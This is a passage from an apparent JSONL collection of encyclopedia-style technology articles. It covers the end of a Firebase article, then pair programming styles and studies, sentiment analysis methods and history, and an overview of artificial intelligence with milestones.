(Cloud Functions since March 2017, Cloud Run since April 2019 ), it's possible that even when an architecture requires an app server, it could be offloaded to the serverless cloud infrastructure.\n\n\n### Could you share more details on Firebase Cloud Messaging (FCM)?\n\nFCM a cross-platform messaging solution that can be used for pushing new data to client apps or notifying users. Instant messaging has a payload limit of 2KB. From client to server, acknowledgments, chats, and other messages can be sent. \n\nFCM consists of **FCM servers** managed by Google and an app server or other trusted environment such as **Cloud Functions for Firebase**. All message go via FCM servers. Developers can use raw protocols (HTTP/XMPP) or use Admin SDK. HTTP is synchronous and downstream. XMPP is asynchronous and both downstream and upstream. HTTP supports multicast as well. \n\nIn April 2018, Google deprecated its **Google Cloud Messaging (GCM)** service. GCM APIs will be available only till April 2019. Since GCM and FCM cannot coexist in an app, developers must migrate to FCM. FCM inherits GCM infrastructure and adds many new features. For more details, refer to the GCM/FCM FAQ.\n\n\n### How's the pricing of Firebase products?\n\nFirebase gives following services under free tier: A/B Testing, Analytics, App Indexing, Authentication (except Phone Auth), Cloud Messaging (FCM), Crashlytics, Dynamic Links, Invites, Performance Monitoring, Predictions, and Remote Config. With free tier, you get some free access to other products with limits on storage, bandwidth, number of reads/writes/deletes/uploads/downloads/tests, etc. Realtime Database allows only 100 simultaneous connections. \n\nBesides the free tier, there's a fixed price per month and pay-as-you-go plans. With the latter, the pricing of Realtime Database, Cloud Firestore, Storage, Phone-Auth, Hosting, Test Lab, ML Kit, Use of BigQuery & other IaaS, is based on the use. \n\n\n### What are some criticisms of Firebase?\n\nSince 2016, developers have noted many problems with Firebase. While it's good for enabling real-time apps with client-side logic, running complex database queries is almost impossible. Firebase Realtime Database is nothing more than a large JSON file. Data is duplicated since the benefits of relationships in a relational database are absent. Filtering or paginating records are not possible.  More recently, the situation has improved with Cloud Firestore that manages data using collections and documents. \n\nYour data is on a server that you don't control. There's no easy way to import/export data. Firebase is also not open source. If the service is discontinued, you have no choice but to rework your app. While initial development may be faster, scaling up later may prove difficult. Moving business logic from client to server won't be trivial. When you scale, the cost of using Firebase will be higher than adopting a platform-as-a-service. \n\nDevelopers can't work with a local installation. Network connection is required. They're also at the mercy of Firebase's upgrade cycles. \n\n## Milestones\n\nSep  \n2011\n\nFirebase starts as a startup named **Envolve**, founded by James Tamplin and Andrew Lee. It provides developers an API to integrate online chat functionality into their websites.\n\nApr  \n2012\n\nIt's noticed that some apps using Envolve are doing things beyond chat. They use Envolve's capability for synchronizing app data in real time. This prompts its creators to separate chat functionality from the underlying framework that enables real-time communications. The latter could now be offered as a standalone service. Thus, Firebase as a separate company is born. \n\nOct  \n2014\n\nGoogle acquires Firebase. In following years, other Google acquisitions of Fabric/Crashlytics, Divshot, and LaunchKit add value to Firebase portfolio of products. \n\nMay  \n2016\n\nGoogle announces Firebase at Google I/O as a unified platform for mobile developers. Firebase now integrates deeply with some of Google cloud tools. The user base of Firebase is now 470,000, up from about 110,000 when Google acquired it. \n\nMar  \n2017\n\nFirebase releases **Cloud Functions for Firebase**. This makes is possible to execute JavaScript (Node.js) on the server side, on Google's cloud infrastructure. Cloud Functions has integrations with many components of Firebase. Projects that needed to deploy servers until now, can migrate to Cloud Functions and become completely server-free. \n\nOct  \n2017\n\nFirebase team announces a beta release of **Cloud Firestore**, a fully managed NoSQL document database. Built in close collaboration with Google Cloud Platform team, it's replicated across regions and offers strong consistency. However, for special use cases where cost and latency are important, Firebase Realtime Database may be preferred. \n\nMay  \n2018\n\nAs a beta release, **ML Kit** becomes available on Firebase. This allows developers to add machine learning features into their apps. Use cases supported are recognizing text, detecting faces, scanning barcodes, labelling images and recognizing landmarks. For advanced use cases, developers can also import *TensorFlow Lite* models. \n\nOct  \n2018\n\nIt's reported that over 1.5 million apps are using Firebase every month. India's *Hotstar* entertainment app is a Firebase-based app with over 150 million monthly active users. \n\nApr  \n2019\n\nFirebase announces integration with Google's **Cloud Run** service. Whereas Cloud Functions is limited to Node.js backend, Cloud Run enables developers write server-side functionality in any language. This requires a docker image that can respond to HTTP requests on the configured port. \n\nSep  \n2019\n\nAt the fourth annual Firebase Summit, Firebase launches Firebase Extensions, Firebase App Distribution and integration with Google Analytics. **Firebase Extensions** could to be a time saver, particularly for independent developers. These extensions implement common tasks. Examples include image resizer, URL shortener and text translation. As on August 2021, there are 11 extensions and many more experimental extensions.","meta":{"title":"Firebase","href":"firebase"}}
{"text":"# Pair Programming\n\n## Summary\n\n\nA developer typically writes code alone. Pair programming is a practice in which two developers are paired together to jointly complete a task. The task could be software design, algorithm, coding or testing. The rationale is that two minds are better than one. If done correctly, pair programming yields better software faster and at lower cost. \n\nThe pair share the same computer and possibly share a single keyboard. Each developer of the pair has a specific role but roles alternate often. Moreover, pairs are not static. Any two developers in the team could become a pair for a few hours. \n\nPair programming is an essential practice in Extreme Programming. *Remote pair programming* is a specialization where developers can be at different locations. *Peer programming* is a term that's sometimes used when more than two developers are involved.\n\n## Discussion\n\n### Why should I adopt pair programming?\n\nAmong the many benefits of pair programming are faster onboarding of employees, better collaboration within the team, faster processing of pull requests (where code changes are reviewed and accepted), fewer bugs and ultimately better quality software. Pair programming also fits nicely into modern development pipelines such as CI/CD and truck-based development. \n\nCodebase is more consistent with coding guidelines due to collaboration. Solutions are better designed. Where problems are challenging, pair programming finds solutions faster. Due to increased social interaction, there's greater job satisfaction and higher productivity. \n\nUltimately, pair programming is not just about writing code. It's also about planning the work, discussing ideas, clarifying viewpoints and coming up with better solutions. \n\n\n### What are the different styles of pair programming?\n\nA few types of pairings exist:   \n\n    + **Driver-Navigator**: One developer (driver) writes the code while the other (navigator) observes, asks questions, and thinks ahead. Driver explains her actions so that the navigator understands. Navigator is essentially doing a real-time code review.\n    + **Driving School**: Aka *backseat navigator* or *strong-style*. Navigator takes more control and gives specific instructions such as \"create a method\" or \"create a new file\".\n    + **Tour Guide**: The tour guide (driver) providing strategic and tactical thinking while also typing. The other developer is like a tourist, listening passively. In the long term, this style is not favoured since we learn better by doing than by observing.\n    + **Ping-Pong**: Suited for Test-Driven Development (TDD) methodology. One developer writes the test while the other writes the code to make the test pass. Then they switch roles.\n    + **Pomodoro**: Similar to ping-pong style but based on time limits. Pairing is for 25 minutes, followed by a 5-minute break. Then developers switch roles. After four such sessions, there's a longer 20-minute break. Breaks keep the sessions productive.\n    + **Tag-Team**: Switching of roles can happen anytime for any valid reason.\n\n### How is strong-style different from driver-navigator style of pairing?\n\nIn traditional driver-navigator style of pairing, the developer who gets an idea grabs the keyboard and takes the role of the driver. If the navigator doesn't know where the driver is going (due to lack of clear communication), the navigator may become bored and disengaged. \n\nIn strong-style, the person with the idea takes the role of the navigator instead and guides the driver. Thus, both developers are actively involved. There's greater trust and knowledge sharing. \n\nIn strong-style, the navigator gives high-level commands and the driver implements them at a low level. To ensure understanding, the navigator adjusts the level of abstraction. If the driver doesn't understand, the navigator provides more detailed commands. The driver trusts the navigator. The driver may sometimes work with partial understanding so that the navigator's flow is not broken. At a suitable pause in the flow, he may asks questions. It's been said of this style that, \n\n> For an idea to go from your head into the computer it MUST go through someone else's hands.\n\n\n### What underlying mechanisms make pair programming effective?\n\nIn pair programming developers are required to discuss the code and ask questions. Asking the right questions can challenge assumptions and trigger new perspectives. Pair programming is therefore not just coding but also active learning. Vocalizing our thoughts helps us to arrive at the right understanding. \n\nAs humans, we tend to focus on general ideas than fine details. As a pair, developers are likely to spot mistakes faster. No two developers will look at code the same way. This is aided by the assignment of specific roles, driver and navigator. The driver is thinking tactically while the navigator is thinking strategically and looking at the big picture. Code reviews are immediate. \n\nPair programming avoids the bad practice of writing code by trial and error: if the code works, the developer may move on without checking for hidden flaws or bigger design problems. Pair programming allows developers to understand the problem fully before starting to code. \n\nPair programming allows each developer to gauge the expertise of the other and even oneself. It's easy to claim expertise but when developers discuss and explain things, they become better at gauging each other's expertise. \n\n\n### How should novices and experts be paired together?\n\nPair programming is beneficial at all expertise levels because it's essentially a learned social skill. You're learning to work cooperatively with other team members. Where junior developers are involved, prioritize learning over productivity. \n\nIt's common to identify the following pairings:\n\n    + **Novice-Novice**: Novice developers may not be confident enough to tackle a challenging problem alone but they can do so more effectively as a pair.\n    + **Novice-Expert**: Useful for training novices or quick onboarding of new developers to the project. The novice must ask questions and grow in confidence as a developer. The expert must be empathetic and explain the reasons for the code. The expert should not do all the work.\n    + **Expert-Expert**: Useful when each expert specializes in different areas, such as frontend versus backend. They can pair up when a feature impacts both areas of expertise. One study showed that expert-expert pairing is less effective when both experts are familiar with the coding task and its solution.\n\n### What are some best practices for pair programming?\n\nDevelopers must have an attitude to share and learn from each other. Empathy, patience and openness are important traits. One developer should move only as fast as the other can understand. \n\nFor better knowledge sharing and team collaboration, each developer must pair with different team members. However, where there's a personality conflict between two developers, such pairings must be avoided. Pairings can be changed daily, weekly or when user stories change. \n\nPair programming can be demanding at times. Frequent breaks can help. It's also best not to do pair programming all the time or for every task. During pair programming, avoid interruptions from others. Between sessions, it's good to give and take feedback. \n\nTo make participation easier, each developer has his own keyboard. Configure the system with key bindings and shortcuts that's comfortable to both developers. Create dedicated pairing stations uncluttered with personal items. \n\nThose new to pair programming can start with a simple task that can be completed in a short time. Minimize distractions during the session. Management should ask developers to try pair programming rather than forcing it on them. \n\n\n### What are the antipatterns in pair programming?\n\nThe navigator should avoid a few things: pointing out errors too quickly, giving too detailed low-level instructions, and perhaps not bringing a keyboard. \n\nThe driver should avoid a few things: driving too fast that the navigator can't keep up, partially blocking the screen, not taking breaks, driving without listening to the navigator, and avoiding eye contact. \n\nBoth developers should avoid a few things: distractions such as notifications or text messages, not swapping roles, not communicating with your partner, or giving up too early if you're just learning to code. \n\n\n### Could you share some case studies on pair programming?\n\nJensen (1996) reported from a study that pairs wrote 175 lines of code per person-month compared to 75 from individuals. Error rate was three orders of magnitude lower than the organization's norm. \n\nNosek (1998) compared five experienced programmers working independently and ten others working in pairs. All teams outperformed the individuals, completing their tasks 40% faster and producing better code.  \n\nA survey by Williams (1999) found that 96% enjoyed their job more when pair programming. \n\nCockburn and Williams (2001) reported that pair programming incurs 15% extra development cost. But in the long term, it saves 15x the cost when bugs are discovered during testing or 60x the cost when bugs are experienced by customers. \n\nHulkko and Abrahamsson (2005) empirically found that pair programming is most useful for learning and complex tasks. It leads to higher comment ratio. It doesn't always increase productivity, decrease defect count or conform to coding guidelines. \n\n\n### What are some concerns or criticisms of pair programming?\n\nNot every developer is a fan of pair programming, particularly when it's imposed on them by the management. Developers like to be trusted and pair programming makes them feel they're being watched. However, once the benefits of pair programming are understood, developers are more likely to question the implementation rather than the practice itself. \n\nSome problems require deep thinking that's best done in isolation. One approach is to work out the solution in advance before starting a pair programming session. In fact, humans can't multitask effectively. Pair programming requires the pair to constantly communicate while also performing their individual tasks. \n\nThere could be a personality clash. Developers are usually introverts. To them, pair programming can be overstimulating. Even for extroverts, pair programming all the time can be exhausting. Feedback between sessions is useful but developers are not naturally inclined to share feedback. \n\nTwo developers doing the job of one is sometimes seen as wasteful. Pairing two novices maybe ineffective but other types of pairings if correctly implemented bring long term rewards. \n\nLack of ownership and accountability can be a problem. The developer who creates the pull request can be made accountable. \n\n## Milestones\n\n1945\n\nENIAC, the first programmable, electronic digital computer is completed. In an interview in 2011, one of ENIAC's programmers, Jean Jennings Bartik, claims that she and Betty Synder were a pair and they programmed together. This anecdote shows that pair programming is certainly not an invention of the 21st century.\n\n1950\n\nFred Brooks, author of *The Mythical Man-Month (1975)*, has claimed that he and fellow graduate student Bill Wright programmed together in the 1950s. He claims, \"We produced 1,500 lines of defect-free code; it ran correctly first try.\" \n\n1980\n\nIn the early 1980s, Larry Constantine visits P.J. Plaugher's software company, Whitesmiths, Ltd. He observes a room full of two programmers working at each computer. He calls them \"dynamic duos\". Their code was defect-free. He states that, \"Two programmers in tandem is not redundancy; it's a direct route to greater efficiency and better quality.\" \n\n1998\n\nNosek publishes *The Case for Collaborative Programming*, which is perhaps the first empirical study on the subject using experienced programmers. An earlier 1993 study by Wilson et al. used student programmers. Also in 1998, **Extreme Programming (XP)** as practiced at Chrysler is talked about. Pair programming is one of the core practices within XP. \n\n2000\n\nSome practitioners of XP introduce the **roles of driver and navigator** to explain pair programming in a better way. \n\n2002\n\nThe book *Pair Programming Illuminated* by Williams and Kessler is the first book dedicated to pair programming. It's also perhaps a sign that pair programming is ready for mainstream adoption.\n\n2003\n\nThe **ping-pong style** of pairing is suggested on C2 Wiki. This combines pair programming with test-driven development. \n\n2012\n\nOn his blog, Arlo Belshee coins the term **strong-style** for the style of programming advocated by Llewellyn Falco. In July 2016, Falco and his colleague Maaret Pyhäjärvi present this style at the Agile2016 conference.","meta":{"title":"Pair Programming","href":"pair-programming"}}
{"text":"# Sentiment Analysis\n\n## Summary\n\n\nSentiment Analysis is a process which focuses on analyzing people’s opinions, feelings, and attitudes towards a specific product, organization or service. \n\nIt is not uncommon for us to consider what other people think in our decision-making process. Prior to the advent of the Internet, many of us relied on friends and families for product or service recommendations, or information when buying a product. The Internet eases our efforts to get opinions of the general population. \n\nIn a world where colossal amounts of user-generated content is produced every day, it is practically impossible for human workforce to collect all the data and determine the opinions expressed in those data. Therefore, there arises a need to develop computer algorithms to automate the classification of reviews on the basis of their polarities as: positive, negative or neutral.\n\n## Discussion\n\n### What kind of questions are answered by Sentiment Analysis?\n\nSince Sentiment Analysis tools classify a sample of text as positive, negative or neutral, some of the questions which can be answered using Sentiment Analysis are as follows:  \n\n    + Is a given product review positive or negative?\n    + Is a customer satisfied or dissatisfied based on his email response?\n    + Based on a sample of tweets, how are people responding to a given ad campaign, product release, or news item?\n    + How have bloggers' attitudes about the president changed since the election?\n\n### What are the steps involved in Sentiment Analysis?\n\nSentiment analysis typically has the following steps: \n\n    + **Data acquisition:** The collection of data is an important phase since a proper dataset needs to be defined for analyzing and classifying the text in the dataset.\n    + **Text preprocessing**: After collecting the data, preprocessing allows to reduce noise in data. This is done by removing the unnecessary stop words, repeated words, stemming, removal of emoticons, removal of URLs etc.\n    + **Feature selection and extraction:** Proper selection and extraction of features plays a key role in determining the accuracy of the model. Hence, the appropriate feature extraction technique must be chosen for extracting the features.\n    + **Sentiment classification:** In this phase, various sentiment classification techniques are applied to classify the text. Some popular sentiment classification techniques are Naïve Bayes (NB) and Support Vector Machines(SVM).\n    + **Polarity detection:** After classifying the sentiments, the polarity of the sentiment is determined. The goal of polarity detection is to decide whether a text expresses positive, negative or neutral sentiment.\n    + **Validation and evaluation**: Finally, validation and evaluation of the obtained results is performed so as to determine the overall accuracy of the techniques used for sentiment analysis.\n\n### What are the various approaches for sentiment analysis?\n\nBroadly, there are ML-based and lexicon-based approaches, plus a hybrid approach that's a combination of these two.\n\n**ML models** classify the text as positive, negative or neutral using classification algorithms and linguistic features. \n\n**Lexicon models** make use of sentiment lexicons, which are collections of annotated and preprocessed sentiment terms. Sentiment values are assigned to words that describe the positive, negative and neutral attitude of the speaker. It is further classified as: \n\n    + *Dictionary-based Method*: It uses a small set of seed words and an online dictionary. The strategy here is initial seed set of words with their known orientations are collected and then online dictionaries are searched to find their probable synonyms and antonyms. The sample is classified based on the presence of such signalling sentiment words.\n    + *Corpus-based Method*: Uses corpus data to identify sentiment words. Even though it is not as effective as dictionary based scheme, it is helpful in finding the domain and context of specific sentiment words against the corpus data. The algorithm will have access not only to sentiment labels, but also to a context.\n\n### What are the advantages and limitations of the Sentiment Analysis approaches?\n\n*Machine Learning based* \n\n    + **Advantage**: Unlike Lexicon-based, these models can be built for a specific purpose or context.\n    + **Limitation**: Obtaining labeled data for training could be difficult or expensive.*Lexicon-based* \n\n    + **Advantage**: No training is required.\n    + **Limitation**: Accuracy depends on lexical resources. Finite number of words in lexicons and the assignment of a fixed sentiment orientation and score to words.*Hybrid:* \n\n    + **Advantage**: It incorporates the best of Machine learning based and Lexicon based approaches.Generally, Machine Learning based models perform better than Lexicon-based models. But Machine Learning models require labeled data in huge quantities. \n\n\n### What are some tools available for Sentiment Analysis at present?\n\nHere are some developer tools for sentiment analysis: \n\n    + Python NLTK: A python based tool for text processing, cataloging, tokenization, stopping, tagging, parsing and much more.\n    + GATE, the General Architecture for Text Engineering: A Java suite of tools used for all sorts of natural language processing tasks, including information extraction in many languages.\n    + LingPipe: LingPipe is tool kit for processing text using computational linguistics.\n    + LIWC (Linguistic Inquiry and Word Count): A computerized text analysis tool that reads a given text and counts the percentage of words that reflect different emotions, thinking styles and social concerns.Among other tools are Opinion Finder, Grooper document classification, MonkeyLearn, IBM Watson, Lexalytics, MeaningCloud, Rosette, Repustate, Clarabridge and Aylien. \n\n\n### What are the challenges involved in Sentiment Analysis?\n\nHuman language is intricate. People often express opinions in complex ways. To mention a few: \n\n    + **Named entity recognition**: Locating and classifying named entities in text into pre-defined categories such as the names of persons, organizations, locations. Eg: Is 300 Spartans a group of Greeks or a movie?\n    + **Anaphora Resolution**: It is the problem of resolving references to earlier or later items in the discourse. Eg: \"We watched the movie and went to dinner. It was awful.\" What does \"It\" refer to?\n    + **Parsing**: This refers to resolving a sentence into its component parts. What is the subject and object of the sentence, which one does the verb and/or adjective actually refer to?\n    + **Rhetorical modes**: Typically the analysed posts contain sarcasm, irony, implication, etc, which are particularly difficult to detect.\n    + **Social media website**: It is not uncommon to find reviews and opinions containing slang, abbreviations, lack of capitals and poor punctuation, which would make sentiment analysis even more challenging.\n    + **Visual sentiment analysis**: Posts often contain a mixture of visual and textual information. The sentiment polarities implied by texts may contradict the sentiments of images, which poses a challenge for textual sentiment analysis.\n\n### Where is Sentiment Analysis being used at present?\n\nA very broad answer to this can be broken up into three categories:\n\n    + **Brand Monitoring** - Sentiment Analysis is used to gauge how a brand, product or company has been received by the public. In fact, private companies like Unamo offer this as a service.\n    + **Customer Service** - Customer service agents classify incoming mail into 'urgent' and 'non-urgent', in order to be able to serve the more frustrated customers quicker. The speech analytics platform Callminer Eureka implements AI and ML techniques to draw insight from consumer interactions, in order to offer quality customer service.\n    + **Market Research and Analysis** - Opinion mining plays a crucial role in business intelligence, by helping analysts understand why a particular product was well received or not. Stock markets and hedge funds have been known to shift with the shift in sentiments on social media.Sentiment analysis has also driven forward various other initiatives. Bing Search used the concept in their newly launched Multi-Perspective Answers product. \n\nApart from the above, Sentiment analysis is used in the areas of political science, sociology, psychology; flame detection, identifying child-suitability of videos, bias identification in news sources are the variety of applications. \n\n## Milestones\n\n300  \nBC\n\nThe history of Sentiment Analysis begins in Ancient Greece with the concept of *Doxa*, which refers to common belief or popular opinion. \n\n1824\n\nThe Harrisburg Pennsylvanian conducts a \"straw polling\" to predict the outcome of the United States presidential election. The prediction turns out to be incorrect, possibly because it didn't draw the right sample. \n\n1997\n\nHatzivassiloglou and McKeown use the term **semantic orientation** in a paper titled *Predicting the Semantic Orientation of Adjectives*. Their approach is corpus-based and adapts to new domains. Thus it can tell that 'bull' and 'bear' are opposites in stock market reports. Using only adjectives, their model achieves 90% precision. \n\n2004\n\nPang and Lee apply machine learning to sentiment analysis. They propose a subjectivity detector to pick out subjective sentences. Then they employ text categorization techniques on the subjective sentences. Algorithms used include Naive Bayes and SVM to find minimum cuts in a graph. They claim an accuracy of 86.4% on the NB polarity classifier. \n\n2005\n\nGruhl et al. conduct one of the first studies to determine if online comments influence the sales figures of a product. They obtain the sales data of books from Amazon.com. From blog mentions and online chatter, they use automated query generation algorithms to predict the rise and fall of sales of certain books. They find that positive comments lead to increased sales. \n\nMar  \n2011\n\nThe shares of Buffet-owned Berkshire Hathaway rises by as much as 2.94% following the Oscars award ceremony. Likewise, there' correlation between Anne Hathaway's movie release dates and stock price increases of Berkshire Hathaway during the period 2008-2010. The reasoning is that automated trading programs are picking up online chatter about 'Hathaway' and applying it to the stock markets. This is an example where sentiment analysis fails to understand context. \n\n2012\n\nKucuktunc et al. pioneer large-scale sentiment analysis of Yahoo! Answers. They find that answers differ according to the attributes of users, such as best-rated answers have a neutral tone to them. They also identify particular feelings evoked on reading a certain question. These findings begin to be used in advertising and recommendations. \n\nJun  \n2014\n\nAleksandr Kogan collects and provides a database containing information of about 87 million Facebook users to Cambridge Analytica. Cambridge Analytica subsequently uses it to make 30 million \"psychographic\" profiles about voters. In later years, it is alleged that this data was used to influence voter opinion on behalf of politicians who hired them. \n\n2017\n\nPoria et al. identify the sentiments present in online videos based on utterances. An utterance is a unit of speech bound by a pause. Each utterance is classified subjectively. \n\n2019\n\nSun et al. apply **BERT**, a pre-trained neural network language model, to the task of Aspect-Based Sentiment Analysis (ABSA). Another research group also applies BERT to ABSA to show state-of-the-art results on SemEval-2015 Task 12 subtask 2 and SemEval-2016 Task 5.","meta":{"title":"Sentiment Analysis","href":"sentiment-analysis"}}
{"text":"# Artificial Intelligence\n\n## Summary\n\n\nIntelligence demonstrated by machines that mimics human decisions and actions for problem solving is called Artificial Intelligence. Intelligence accumulated in the machine is a result of an incremental learning process from data accumulated in the business environment.\n\nHuman intelligence consists of varied aspects – discriminating between objects, identifying people and places, understanding languages, recognizing sounds and music, logical analysis and mathematical computations. The list is endless. AI systems are being developed for specific goal-oriented applications covering some of these abilities.\n\nMachine Learning, Big Data and Robotics are its key enablers. Neural networks (a study that understands how the human brain works) helps to add human-like intelligence to the computer. Examples include Google Street View, iPhone Face unlock and Walmart's automated supply chain. AI is still in a nascent stage, but is one of most rapidly growing technologies in the world.\n\n## Discussion\n\n### AI is not a new discovery. Why is there such a buzz around AI all of a sudden?\n\nA popular theme in science fiction and folklore, the field of AI research was founded as an academic discipline as early as 1956. There was thriving activity for two decades, with ambitious targets set for matching human intelligence.\n\nHowever, nothing substantial could be achieved by the 1970s with heavy rule-based systems having poor computational power. A bleak withdrawal period called the **AI Winter** followed when research and funding slowed down. \n\nIn the 21st century, several parallel developments renewed interest in AI. Exponential increase in computer processing speed, major drop in memory costs, upsurge of open source programming frameworks, advancement in voice and image processing techniques turned out to be game changers. The advent of big data and cloud computing enabled large scale distributed deployments feasible at company/national level. \n\nWhen machine learning moved from rule-driven to data-driven algorithms, AI got the biggest boost. Historical data turned into a powerful enabler. Wireless networks, smart devices, IOT and developments in robotics have completed the circle. AI solutions have reached the maturity to be cost effective and implementable. \n\n\n### What are the major components of an AI solution?\n\nListed below are the main components that act as building blocks in any modern day AI solution:\n\n    + **Machine Learning** - Computers use statistical techniques to \"learn\" (progressively improve performance on a specific task) from data, without being explicitly programmed. ML is supported by large volumes of data called *Big Data*. Data could be historical or real-time data, structured or unstructured. Data is stored in distributed cloud computing and storage systems. ML also employs a computing system called Artificial Neural networks, inspired by how biological nervous systems and the brain process information. Eg: Image recognition, how a child identifies a cat.\n    + **Natural Language Processing** - Ability to detect words and meanings from human voice in various spoken languages. Systems like voice assistants learn from past data and improve their language interpretation over time.\n    + **Robotics** - The mechanical arm of AI that enables automated decisions to be implemented though robots, driverless cars, drones and other smart devices.\n    + **Speech and Vision** - Enabling the computer with human-like senses of speech and vision using speech encoding and image recognition algorithms.\n\n### What are the different approaches to AI?\n\nAI means empowering machines to act as humans would. This intelligence can be fed into machines in several ways. These approaches can be grouped into one of the two categories listed below:\n\n    + **Symbolic, rule-based approach – Expert Systems – Artificial General Intelligence**: Goal is to produce general human-like intelligence, not specific to a given problem at hand. Symbolic representations are used to cover responses to unplanned, uncertain situations adding weightages to social, emotional aspects as well as logic. This approach was prevalent in the early years (1960s-1990s) with the development of fuzzy logic and expert systems. IBM chess program that beat Garry Kasparov in the 1990s is a good example of this approach.\n    + **Statistical, data-based approach – Machine Learning – Narrow/Weak AI**: With advent of Machine Learning, approach to AI changed. ML employs statistical modelling algorithms on historical data and derives \"intelligence\" from experience. This method is effective for specific business problems, hence the name *Narrow AI*. Goal is to build AI by consolidating intelligence from different scenarios. Applications in the medical field for disease detection and drug testing on patients is a prominent application of this approach.\n\n### Which are the common open source frameworks to build AI solutions?\n\nOne of the main reasons for explosive growth in AI research and development in the recent times is the availability of reliable, efficient open source programming frameworks that support AI solutions development. Not just major IT corporations, university projects and small startups are also joining the AI bandwagon because of this. Some of the widely used programming languages and frameworks are listed below:\n\n    + **Python and R Programming Languages** - Basis for almost all ML algorithm implementations powering AI solutions. They have a strong developer community and excellent package library support for most applications. Python is the base over which several ML/DL and NLP frameworks are built.\n    + **TensorFlow Deep Learning Framework** - Python based computational framework from Google for building Deep Learning models. Widely used for building hierarchical ML applications, deep belief nets. It's being used for translation in Google's Translate, for OCR in WPS Office, fraud detection in PayPal.\n    + **PyTorch** - Deep Learning framework from FaceBook. Major vendors like Microsoft and Amazon are expected to provide complete support to the framework across their cloud products.Keras, Theano, and MS CNTK are some other frameworks.\n\n\n### What are the applications of AI that are currently in the market?\n\nAI applications have pervaded all areas of work and life. From the mobile phone in hand to futuristic space research, AI is everywhere. AI applications domain-wise are listed below:\n\n    + **Smartphone Apps and Utilities** - Google Street View, iPhone Face unlock, voice assistants.\n    + **Retail** - Automated supply chains, scanning product images and shop, automated billing, customized shopping experience.\n    + **Healthcare** - Early disease detection, preventive diagnostics, automated drug trials.\n    + **Legal Industry** - AI is revolutionizing the legal industry by automating repetitive tasks, streamlining document review, and enhancing legal research capabilities.\n    + **Financial Services** - Bots on the stock market, fraud detection, estimating customer credit worthiness.\n    + **Auto Industry** - Vehicle preventive maintenance, driverless cars, delivery drones.\n    + **Fashion** - Customized clothing for buyers, smart inventory management.\n    + **Human Resources** - Resume elimination and talent acquisition process automation, personalised training and on-boarding for employees.\n\n### What are the technical challenges associated with AI research and development?\n\n \n\n    + **Computing Power Limitations** - There is exponential growth in processing speeds, distributed computing abilities and large-scale memory storage. But demands are even greater, especially with deep learning applications. Only large corporations can match demand, and this limits the scope for startups.\n    + **Skilled Manpower** - AI applications require niche computer science skills such as ML, NLP, image processing, robotics, and data sciences. Since most of these fields of study are still evolving, finding high quality manpower is a challenge. Reskilling engineers from traditional programming or design skills to new-age AI skills is the need of the hour.\n    + **Data Security** - Data is the biggest wealth of an organization today. With more and more private business data coming online, it becomes vulnerable to external misuse and attacks. Companies need to focus on data security and network frameworks to protect their data.\n\n### What are the social and economic risks associated with AI technology?\n\nHowever promising and revolutionary AI may sound, it comes saddled with several risks impacting society and livelihoods. Key risks are:\n\n    + **Fear of widespread job loss** - Since AI brings a new bunch of technologies into the fore, several IT and business skills such as manual testing, customer support, traditional programming, and managerial tasks are becoming obsolete. In the wider world, impact is even more pronounced. Autonomous cars replace human drivers. Drone deliveries replace home delivery staff. AI and robotics replace several manufacturing jobs. Impact on healthcare, financial services and retail are expected to be high.\n    + **Bias due to bad data** - AI systems are as good or bad as the data fed into them. If companies and governments feed biased data with malicious intent, results can be disastrous. Self-regulation is the only method in practice. Stricter legislations and tight international data policing rules are needed.\n    + **Over-reliance on digital devices** - Smart devices running AI are invading organizations, homes, and government institutions. Lifestyle deficiencies such as exposure to wireless radiation, excessive time spent with gadgets, and lack of basic computational and social skills are worrying.\n\n\n## Milestones\n\n1952\n\nArthur Samuel writes the first computer learning program. This is a game of checkers that runs on an IBM machine. It improves its game every time it plays. Samuel is also credited for coining the term **Machine Learning (ML)**. \n\n1957\n\nFrank Rosenblatt designs the first neural network for computers, called the **perceptron**, which simulates the thought processes of the human brain. \n\n1979\n\nStudents at Stanford University invent the robotic *Stanford Cart*. This can navigate obstacles in a room on its own. \n\n1980\n\nThrough the 1970s and into the 1980s, AI sees a subdued period known as the **AI Winter**. Interest and development dwindles, people become pessimistic about its chances of success, and funding drops. Research continues but AI steps out of the limelight. \n\n1990\n\nIn the 1990s, work on machine learning shifts from a knowledge-driven approach to a **data-driven approach**. \n\nMay  \n1997\n\nIn a contest of man vs machine, IBM's *Deep Blue* beats the world champion at chess. This showcases computing capability to tackle complex calculations for drug discovery, large database searches, broad financial modelling, and more. In February 2011, another IBM machine named *Watson* beats humans at another game, called Jeopardy! Computers can now process and reason about natural languages, heralding rich human-computer interactions for the future. \n\n2006\n\nGeoffrey Hinton coins the term **Deep Learning (DL)** as a term for artificial neural networks using many layers of neurons. With innovations happening in the Computer Vision space, DL algorithms enable computers to \"see\" and distinguish objects and text in images and videos. \n\n2011\n\nApple includes *Siri* as a built-in digital assistant in its iPhone 4S. Siri triggers a new age of automation, personalization and AI-driven assistants. \n\n2013\n\nMany major automotive manufacturers, including General Motors, Ford, Mercedes Benz, Volkswagen, Audi, Nissan, Toyota, BMW, and Volvo, start testing **driverless car systems**. Tesla Motors announces its first version of AutoPilot. Model S cars equipped with this system are capable of lane control with autonomous steering, braking, automated parking and speed limit adjustment. \n\n2014\n\nFacebook releases *DeepFace*, a software algorithm that is able to recognize or verify individuals on photos to the same level of accuracy as humans. \n\n2015\n\nOver 3,000 AI and Robotics researchers, endorsed by Stephen Hawking, Elon Musk and Steve Wozniak (among many others), sign an open letter warning of the danger of autonomous weapons that can select and engage targets without human intervention. \n\n2017\n\nApple CEO Tim Cook says, \"We are focussing on autonomous systems\". He describes Apple's secretive *Project Titan* as \"the mother of all A.I. projects\".","meta":{"title":"Artificial Intelligence","href":"artificial-intelligence"}}
